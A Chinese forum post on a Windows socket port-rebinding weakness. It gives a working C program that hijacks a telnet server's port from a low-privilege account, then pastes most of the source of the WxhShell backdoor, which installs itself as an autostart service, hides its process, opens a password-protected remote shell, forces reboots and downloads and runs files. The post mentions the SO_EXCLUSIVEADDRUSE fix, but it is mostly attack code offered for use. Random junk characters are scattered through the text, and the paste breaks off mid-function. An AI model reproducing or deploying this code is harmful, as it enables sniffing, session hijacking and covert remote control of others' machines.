社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17003阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,_z"3B)]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,dXJCX8so  
A^vvw~!d  
  saddr.sin_family = AF_INET; T&+y~c[au  
36UUt!}p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U5yBU9\G  
EGxCNB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b E6bx6=u  
'J_`CS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $d5}OI"g  
!![HR6"Q  
  这意味着什么?意味着可以进行如下的攻击: ?g9oiOhnG  
pB'{_{8aA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \EW<;xq  
qu%}b>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8 t`lRWJ  
7& 'p"hF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 85qD~o?O  
d[`vd^hI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +'{d^-( (  
GUC.t7!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^T*'B-`C7X  
9wdl1QS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A.cNOous|  
Td 5yRN! ?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2x!cblo  
s2"<<P[q'  
  #include HpIW H*  
  #include =fK6P6'B  
  #include yR1v3D4E  
  #include    /wU4^8Hz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M`p[ Zq  
  int main()  w\y)  
  { <op|yh3Jkk  
  WORD wVersionRequested; w7Ij=!)  
  DWORD ret; 11?d,6Jl  
  WSADATA wsaData; #oJ%i+V  
  BOOL val; FK~*X3'  
  SOCKADDR_IN saddr; 65U&P5W  
  SOCKADDR_IN scaddr; Ru@ { b`  
  int err; -8Hv3J'=  
  SOCKET s; n!&F%|o^^  
  SOCKET sc; vP'#x  
  int caddsize; 0DX)%s,KO  
  HANDLE mt; @1s 2# )l(  
  DWORD tid;   3|PV.  
  wVersionRequested = MAKEWORD( 2, 2 ); _*++xF1  
  err = WSAStartup( wVersionRequested, &wsaData ); th%T(D5n  
  if ( err != 0 ) { Wo{4*~f  
  printf("error!WSAStartup failed!\n"); nQ#NW8*Fs  
  return -1; ZoR6f\2M  
  } { t@7r  
  saddr.sin_family = AF_INET; 6[Wv g  
   DLO2$d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ie(M9QMp  
cC]lO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rA /T>ZM  
  saddr.sin_port = htons(23); eFC~&L;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f&!{o=  
  { |: pBk:  
  printf("error!socket failed!\n"); <&l@ ):a  
  return -1; Y_/w}HB  
  } uZa)N-=b2  
  val = TRUE; ht2J, 1t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }aL&3[>>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (BGflb  
  { upiYo(sN.  
  printf("error!setsockopt failed!\n"); 3;F up4!4}  
  return -1; ~uu{ v')  
  } rPK1#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <xUX&J=;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NIG* }[}P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L[tq@[(IJ  
lX64IvG8+o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `#?]g!  
  { 'u3,+guz  
  ret=GetLastError(); F#a'N c9  
  printf("error!bind failed!\n"); w%$J<Z^-?  
  return -1; %ZX3:2  
  } Ge1"+:tbJ  
  listen(s,2); eC`G0.op  
  while(1) )i<Qg.@MX  
  { 6*:U1{Gl)  
  caddsize = sizeof(scaddr); Pr3>}4M  
  //接受连接请求 OlM3G^1e1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p8MN>pLP%  
  if(sc!=INVALID_SOCKET) 9\>{1"a  
  { Sb^o`~ Eh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^1bM=9]F0  
  if(mt==NULL) XA\wZV |{  
  { ?u>A2Vc!  
  printf("Thread Creat Failed!\n"); %*OQH?pyx}  
  break; 0zE(:K  
  } Iz8gZ:rd0  
  } 2E0oLl[  
  CloseHandle(mt); a1z*Z/!5  
  } 3x)jab  
  closesocket(s); D!mx&O9  
  WSACleanup(); f1q0*)fk  
  return 0; \7G.anY  
  }   5% w08  
  DWORD WINAPI ClientThread(LPVOID lpParam) \S>GtlQbn  
  { d$y?py  
  SOCKET ss = (SOCKET)lpParam;  {?Cm  
  SOCKET sc; MP~+@0cv  
  unsigned char buf[4096]; I "HEXsSe  
  SOCKADDR_IN saddr; /%TL{k&m$  
  long num; ?~<NyJHN%  
  DWORD val; ]{18-=  
  DWORD ret; 6t3Zi:=I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q-qz-cR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EP{/]T  
  saddr.sin_family = AF_INET; (#nB90E{*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `!<#'PR  
  saddr.sin_port = htons(23); nZ[`Yrq)0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4xgfm.9I^  
  { vw :&c.zd  
  printf("error!socket failed!\n"); !ezy  v`  
  return -1; Ks-$([_F   
  } zGa V^X  
  val = 100; ,,;vG6^a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  NG?g(  
  { T>w;M?`9K  
  ret = GetLastError(); 8Yf=)  
  return -1; cC9haxW  
  } DK1{Z;Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [0lO0ik>G  
  { .:=5|0m  
  ret = GetLastError(); rN'}IS@5  
  return -1; \{= {{O  
  } w{ P l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) av~kF  
  { cXK.^@du  
  printf("error!socket connect failed!\n"); p MR4]G  
  closesocket(sc); #lF 2q w  
  closesocket(ss); WTu!/J<\  
  return -1; dte-2?%~j  
  } f |NXibmP  
  while(1) V5p->X2#  
  { IEY\l{s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YcW) D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z61L;E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Px&)kEQ  
  num = recv(ss,buf,4096,0); ^(KDtc  
  if(num>0) t?Q  
  send(sc,buf,num,0); XoGOY|2`6  
  else if(num==0) = VMELk!z  
  break; zN/nKj: Q  
  num = recv(sc,buf,4096,0); B^/(wHBp  
  if(num>0) R,8T t!n  
  send(ss,buf,num,0); PsBLAr\ah  
  else if(num==0) u24XuSe$  
  break; -m$2"_  
  } .dj}y jd]f  
  closesocket(ss); m`n#Q#6  
  closesocket(sc); oWq]\yT<`  
  return 0 ; UTqKL*p523  
  } 1z_1Hl  
iB+ _+A  
h$p}/A  
========================================================== oz7=1;r  
Qjmo{'d  
下边附上一个代码,,WXhSHELL z pg512\y  
{FR+a**  
========================================================== 9Dd`x7$ a  
g|M>C:ZT  
#include "stdafx.h" q s iV  
z&z5EtFUTh  
#include <stdio.h> ,r;E[k@  
#include <string.h>  p]jG ,S  
#include <windows.h> K4b2)8  
#include <winsock2.h> g`4WisL1n  
#include <winsvc.h> dw'P =8d  
#include <urlmon.h> \_7'f  
' ?a d  
#pragma comment (lib, "Ws2_32.lib") \vE-;,  
#pragma comment (lib, "urlmon.lib") v!AfIcEV  
Yn>FSq^Wp-  
#define MAX_USER   100 // 最大客户端连接数 u]P9ip"Z  
#define BUF_SOCK   200 // sock buffer $?On,U  
#define KEY_BUFF   255 // 输入 buffer y:k7eE"  
S";}gw?r6  
#define REBOOT     0   // 重启 Eo@rrM:  
#define SHUTDOWN   1   // 关机 t-Ble  
<g64N  
#define DEF_PORT   5000 // 监听端口 s\(@f4p  
-c#vWuLl  
#define REG_LEN     16   // 注册表键长度 c_Iq!MH  
#define SVC_LEN     80   // NT服务名长度  ~;uU{TT  
B^.:dn  
// 从dll定义API .g_^! t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'l3 DP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); # S0N`V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pL: r\Y:R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <3x:nH @  
a..LbQQ  
// wxhshell配置信息 KBA& s  
struct WSCFG { Z>*a:|  
  int ws_port;         // 监听端口 L%Ms?`i,  
  char ws_passstr[REG_LEN]; // 口令 sTvw@o *  
  int ws_autoins;       // 安装标记, 1=yes 0=no uEkGo5  
  char ws_regname[REG_LEN]; // 注册表键名 ;aH3{TS  
  char ws_svcname[REG_LEN]; // 服务名 2#Qw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W+Ou%uv}S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :\^jIKvZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W>u{JgY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sHQO*[[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9TEAM<b;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J\Tu=f)  
vnqLcNB H  
};  3bHB$n  
(W#^-*$R  
// default Wxhshell configuration rpEN\S%7P  
struct WSCFG wscfg={DEF_PORT, E9]*!^=/  
    "xuhuanlingzhe", PR%n>a#  
    1, o bGvd6\  
    "Wxhshell", $&sV.fGu  
    "Wxhshell", { &J OO  
            "WxhShell Service", ITD&w g  
    "Wrsky Windows CmdShell Service", L#fK ,r8  
    "Please Input Your Password: ", mNJCV8 <  
  1, 6UU<:KH  
  "http://www.wrsky.com/wxhshell.exe", 0JW =RW  
  "Wxhshell.exe" >|mZu)HIY;  
    }; <(1[n pS&+  
(Mw+SM3<  
// 消息定义模块 w,t !<i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g O/\Yi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QE721y   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k{bC3)'$#R  
char *msg_ws_ext="\n\rExit."; {gzVbZ#  
char *msg_ws_end="\n\rQuit."; CW FE{  
char *msg_ws_boot="\n\rReboot..."; ),2|TlQ  
char *msg_ws_poff="\n\rShutdown..."; 8_M"lU0[  
char *msg_ws_down="\n\rSave to "; Q~`{^fo1  
P!lfk:M^;  
char *msg_ws_err="\n\rErr!"; T>, [V:  
char *msg_ws_ok="\n\rOK!"; S$4 6YQ  
PgsG*5WQ  
char ExeFile[MAX_PATH]; ^JGwCHeb|H  
int nUser = 0; H!|g?"C  
HANDLE handles[MAX_USER]; aJ[|80U  
int OsIsNt; KfQ?b_H.  
pDcGf7  
SERVICE_STATUS       serviceStatus; spWo{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  }- wK  
~VV$wU!A  
// 函数声明 HrUE?Sq  
int Install(void); NTVaz.  
int Uninstall(void); GE=PaYz  
int DownloadFile(char *sURL, SOCKET wsh); >[Tt'.S!?  
int Boot(int flag); u,]qrlx{  
void HideProc(void); : Xu9` 5  
int GetOsVer(void); gP>W* ]0r1  
int Wxhshell(SOCKET wsl); lBudC  
void TalkWithClient(void *cs); z6|kEc"{  
int CmdShell(SOCKET sock); z&\N^tBv  
int StartFromService(void); Y/ %XkDC~  
int StartWxhshell(LPSTR lpCmdLine); TY?O$d2b3  
 m=a^t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a'O-0]g,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JW"n#sR4  
w8zr0z  
// 数据结构和表定义 }|wC7*^)  
SERVICE_TABLE_ENTRY DispatchTable[] = *d31fBCk%  
{ Zh_3ydMD1  
{wscfg.ws_svcname, NTServiceMain}, 5ka6=R(r  
{NULL, NULL} WT}x Cni  
}; un}!&*+  
D'#,%4P,e\  
// 自我安装 6NQ`IC  
int Install(void) @h(Z;  
{ bk]g}s  
  char svExeFile[MAX_PATH]; E`]un.  
  HKEY key; 7Dw. 9EQ  
  strcpy(svExeFile,ExeFile); SAE'y2B*  
z'\BZ5riX<  
// 如果是win9x系统,修改注册表设为自启动 l nJ  
if(!OsIsNt) { ]l`V#Rd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >O0<u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,[3}t%Da  
  RegCloseKey(key); fP 3t0cp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PJ,G_+b!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (-VH=,Md  
  RegCloseKey(key); dJ>tM'G  
  return 0; 8!MVDp[|"  
    } B7sBO6Z$J  
  } -fN5-AC  
} 40[@d  
else { 0a1Mu>P,  
0v``4z2Z  
// 如果是NT以上系统,安装为系统服务 P G zwS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I:1Pz|$`  
if (schSCManager!=0) W*/2x8$d  
{ gLlA'`!  
  SC_HANDLE schService = CreateService n6 wx/:  
  ( y( UWh4?t  
  schSCManager, E:[!)UG|y  
  wscfg.ws_svcname, !e+Sa{X  
  wscfg.ws_svcdisp, M~)iiKw~MY  
  SERVICE_ALL_ACCESS, W{1l?Wo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7| `_5e  
  SERVICE_AUTO_START, +-rSO"nc  
  SERVICE_ERROR_NORMAL, IsjN xBM  
  svExeFile, rl-#Ez  
  NULL, cfy9wD  
  NULL, ]hRs -x  
  NULL, (%G>TV  
  NULL, _qH]OSo  
  NULL @c}Gw;e  
  ); }N:QB}7'_  
  if (schService!=0) y,`q6(&  
  { ygd*zy9  
  CloseServiceHandle(schService); O9RnS\  
  CloseServiceHandle(schSCManager); ry+|gCZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _>^Y0C[?5  
  strcat(svExeFile,wscfg.ws_svcname); BM5)SgK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~+PKWs'}F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lB7/oa1]>  
  RegCloseKey(key); iz+,,UH  
  return 0; }4Q3S1|U  
    } X@/X65=[  
  } Z1p%6f`  
  CloseServiceHandle(schSCManager); w9Nk8OsL  
} &SPIu,  
} M #%V%<  
pV1 ;gqXNS  
return 1; 0*j\i@  
} 3f:]*U+O  
'1d0 *5+6k  
// 自我卸载 Hi U/fi`  
int Uninstall(void) #v4^,$k>  
{ cW ?6Iao  
  HKEY key; To-$)GQ@W  
#IeG/t(  
if(!OsIsNt) { \*pS 4vy5x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ClufP6'  
  RegDeleteValue(key,wscfg.ws_regname); ^c"\%!w"O  
  RegCloseKey(key); Psm9hP :m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B5_QH8kt7  
  RegDeleteValue(key,wscfg.ws_regname); m"o=R\C  
  RegCloseKey(key); Mb97S]878I  
  return 0; Ifq|MZ\  
  } ~se ;L  
} mA #^Pv*  
} jU}  
else { (1'sBm7F  
@JOsG-VW~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) }k"7"  
if (schSCManager!=0) @[1,i~H  
{ G#='*v OtO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6!){-IV  
  if (schService!=0) 1+l[P9?R[  
  { ,S?:lQuK5  
  if(DeleteService(schService)!=0) { $H6ngL  
  CloseServiceHandle(schService); uL^X$8K;(  
  CloseServiceHandle(schSCManager); \\ZhM  
  return 0; r%LG>c`^  
  } [p )2!]y  
  CloseServiceHandle(schService); y }h2  
  } YL[y3&K  
  CloseServiceHandle(schSCManager); <4^y7]] F  
} r)<n)eXeD  
} s yb$%  
Q?'Ax"$D  
return 1; bf[l4$3k  
} MN>U jFA  
rWBgYh  
// 从指定url下载文件 $<f+CtD4  
int DownloadFile(char *sURL, SOCKET wsh) ePxf.U  
{ zj=F4]w  
  HRESULT hr; /#}%c'  
char seps[]= "/"; 7/\SN04l  
char *token; / $'M  
char *file; ])WIw'L!  
char myURL[MAX_PATH]; RC!T1o~L  
char myFILE[MAX_PATH]; 6X$\:>  
XLm@, A[  
strcpy(myURL,sURL); s ZokiFJ  
  token=strtok(myURL,seps); -Q1~lN m:  
  while(token!=NULL) b+BX >$  
  { 0%3T'N%  
    file=token; WhV>]B2+"  
  token=strtok(NULL,seps); :5:_Dr<  
  } w aDJ  
|8\et  
GetCurrentDirectory(MAX_PATH,myFILE); n>%TIoY  
strcat(myFILE, "\\"); eT8h:+k  
strcat(myFILE, file); ,qhv(  
  send(wsh,myFILE,strlen(myFILE),0); 24Htr/lPCT  
send(wsh,"...",3,0); 1 EHNg<J(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w Qp{z  
  if(hr==S_OK) UZE%!OWpeK  
return 0; p+{*w7?8"[  
else @Tsdgx8  
return 1; tgu fU  
`y.i(~^1  
} ML X: S?  
d UiS0Qs}  
// 系统电源模块 tNW0 C]  
int Boot(int flag) C}]rx{xC  
{ b*< *,Ds/G  
  HANDLE hToken; 5}_,rF?cX  
  TOKEN_PRIVILEGES tkp; PmDar<m  
|>nVp:t^  
  if(OsIsNt) { 2V*<J:;wb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l3kBt-m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l`{JxVg  
    tkp.PrivilegeCount = 1; Oin:5K)4-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r}t%DH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 23`pog{n  
if(flag==REBOOT) { yy\d<-X~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6EG`0h6  
  return 0; x 0L,$Ol  
}  u8[jD^  
else { {>#4{D00  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jt",\%j  
  return 0; N)$yBzN  
} $EuI2.o  
  } y#e<]5I  
  else { O[&G6+  
if(flag==REBOOT) { p2Fi(BW*q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 71Mk!E=1  
  return 0; 82z<Q*YP  
} T<ekDhlr  
else { ]b@:?DX8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ((Wq  
  return 0; I4 4bm?[S  
} Ea3 4x  
} &v_b7h  
h&?tF~h  
return 1; a7l-kG=R;  
} Hd=!  
oJEjg>%n  
// win9x进程隐藏模块 t8b,@J`R  
void HideProc(void) cBnB(t%  
{ L+" 5g@  
'=m ?l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3 ?DM AV  
  if ( hKernel != NULL ) -o0~xspF  
  { {-\VX2:;[9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2<5s0GT'/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }^B=f_Ag  
    FreeLibrary(hKernel); \o,`@2H+'  
  } p\7(IhW@  
'q=Ly?9  
return; q P>Gre  
} <rFY$ ?x  
2qUC@d<K  
// 获取操作系统版本 >=Un=Q%  
int GetOsVer(void) g\ p;  
{ d[I}+%{[  
  OSVERSIONINFO winfo; D'+kzb@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u-E*_% y  
  GetVersionEx(&winfo); P(za8l>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yv jRJ  
  return 1; ^ $t7p 1  
  else "5R8Zl+  
  return 0; %8yX6`lH  
} O hcPlr  
geu8$^  
// 客户端句柄模块 z,B'I.)M  
int Wxhshell(SOCKET wsl) !B{N:?r  
{ CEos`  
  SOCKET wsh; D +vHl}  
  struct sockaddr_in client; Af>Ho"i  
  DWORD myID; `$D2w|  
X6]eQ PN2  
  while(nUser<MAX_USER) gyW##M@{  
{ n/5)}( }K  
  int nSize=sizeof(client); HLcK d`$/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,-*oc>  
  if(wsh==INVALID_SOCKET) return 1; ZKa.MBde  
Q2[D|{Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !&D&Gs  
if(handles[nUser]==0) wA<#E6^vG  
  closesocket(wsh); niV=Ijt{5  
else fu95-)M  
  nUser++; +9mnxU>  
  } OQON~&~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 85 tQHm6j  
%maLo RJ  
  return 0; ;yO7!{_  
} \^+=vO;A  
)5U&^tJ  
// 关闭 socket T=w5FT  
void CloseIt(SOCKET wsh) EV 8}C=  
{ D-BWgK  
closesocket(wsh); ^w XXx=Xf  
nUser--; )Aky:kM$  
ExitThread(0); L 59q\_|  
} rSVU|O3m;  
9+\3E4K  
// 客户端请求句柄 gs_nUgcA  
void TalkWithClient(void *cs) }*4K]3et$  
{ tc@([XqH  
JYB<};,  
  SOCKET wsh=(SOCKET)cs; vH+QI  
  char pwd[SVC_LEN]; 6 ztM(2[  
  char cmd[KEY_BUFF]; <Vk^fV  
char chr[1]; |8b*BnS  
int i,j; e8@@Pi<sB  
h@"dpmpe  
  while (nUser < MAX_USER) { 6* /o  
H`$s63  
if(wscfg.ws_passstr) { W|@/<K$V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Ah\-{]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 37@_"  
  //ZeroMemory(pwd,KEY_BUFF); i!30f^9D-S  
      i=0; q8 ;WHfGf  
  while(i<SVC_LEN) { . 4"9o%  
NGlX%j4j  
  // 设置超时 UNJ]$x0  
  fd_set FdRead; X'Dg= |  
  struct timeval TimeOut; EF?@f{YY$n  
  FD_ZERO(&FdRead); EwcN$Ma  
  FD_SET(wsh,&FdRead); PYl(~Vac  
  TimeOut.tv_sec=8; W,i SN}  
  TimeOut.tv_usec=0; vb-L "S?kC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /u }AgIb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E3\O?+ h#  
)x-iru A:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BOLG#}sm  
  pwd=chr[0]; MmBM\Dnv  
  if(chr[0]==0xd || chr[0]==0xa) { I% 43rdoPe  
  pwd=0; tdn[]|=  
  break; *ws!8-)fH  
  } ;N4b~k)  
  i++; [{ak&{R,9{  
    } 8]Xwj].^C  
G l=dL<F  
  // 如果是非法用户,关闭 socket `7P4O   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -< jb>8  
} 9qe6hF/29  
x)wIGo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k, )7v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EnJAHgRV;e  
SxYX`NQ  
while(1) { 8W 9%NW3&  
a3L]'E'*#  
  ZeroMemory(cmd,KEY_BUFF); O&=?,zLO[  
sAIL+O  
      // 自动支持客户端 telnet标准   6|m1z  
  j=0; x[3kCa|4A  
  while(j<KEY_BUFF) { -Rhxib|<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xNTO59Y-s  
  cmd[j]=chr[0]; n`T 4aDm  
  if(chr[0]==0xa || chr[0]==0xd) { 2jf-vWV_  
  cmd[j]=0; (u-i{<   
  break; nn"!x|c  
  } AA9OElCa  
  j++; : 2?J#/o  
    } gOZ$rv^g  
}'dnL  
  // 下载文件 wh:O"&qk  
  if(strstr(cmd,"http://")) { %b2.JGBqJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SI3ek9|XU  
  if(DownloadFile(cmd,wsh)) 4`G":nE?We  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w^B&e%  
  else A+3@N99HeH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1'`KJ]  
  } x2.G1  
  else { e =Vu;  
EVMhc"L  
    switch(cmd[0]) { ,b=&iDc  
  S=^yJ6 xJ  
  // 帮助 p%CAicn  
  case '?': { Y'-BKZv!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^:K"Tv.=  
    break; !'Xk=+  
  } zr?%k]A%UO  
  // 安装 vbmSbZ"y  
  case 'i': { fR}|CP  
    if(Install()) .e5GJAW~9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4NMJnX  
    else PIn'tV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A5tY4?|  
    break; n 8Jx;j  
    } bp:WN  
  // 卸载  "/6(  
  case 'r': { X%xX3e'  
    if(Uninstall()) ; )O)\__"-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B=#rp*vwL  
    else 3x9O<H}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V< 0gD?Kx  
    break; [a\:K2*'  
    } Lw?4xerLsb  
  // 显示 wxhshell 所在路径 =L9sb!  
  case 'p': { 8Vv"'CU#  
    char svExeFile[MAX_PATH]; _wKFT>  
    strcpy(svExeFile,"\n\r"); [kgT"?w=  
      strcat(svExeFile,ExeFile); Q <EFd   
        send(wsh,svExeFile,strlen(svExeFile),0); (F]f{8  
    break; /s(/6~D|  
    } ox] LlRK  
  // 重启 |uQJMf[L)  
  case 'b': { qr$=oCqa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yva^JB  
    if(Boot(REBOOT)) 3'O+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KP[ax2!x  
    else { ~N;.hU%l  
    closesocket(wsh); TS)p2#  
    ExitThread(0); ]x?9lQ1&  
    } =U!'v X d  
    break; CN\SxK`,  
    } xZjD(e'  
  // 关机 |Rw0$he  
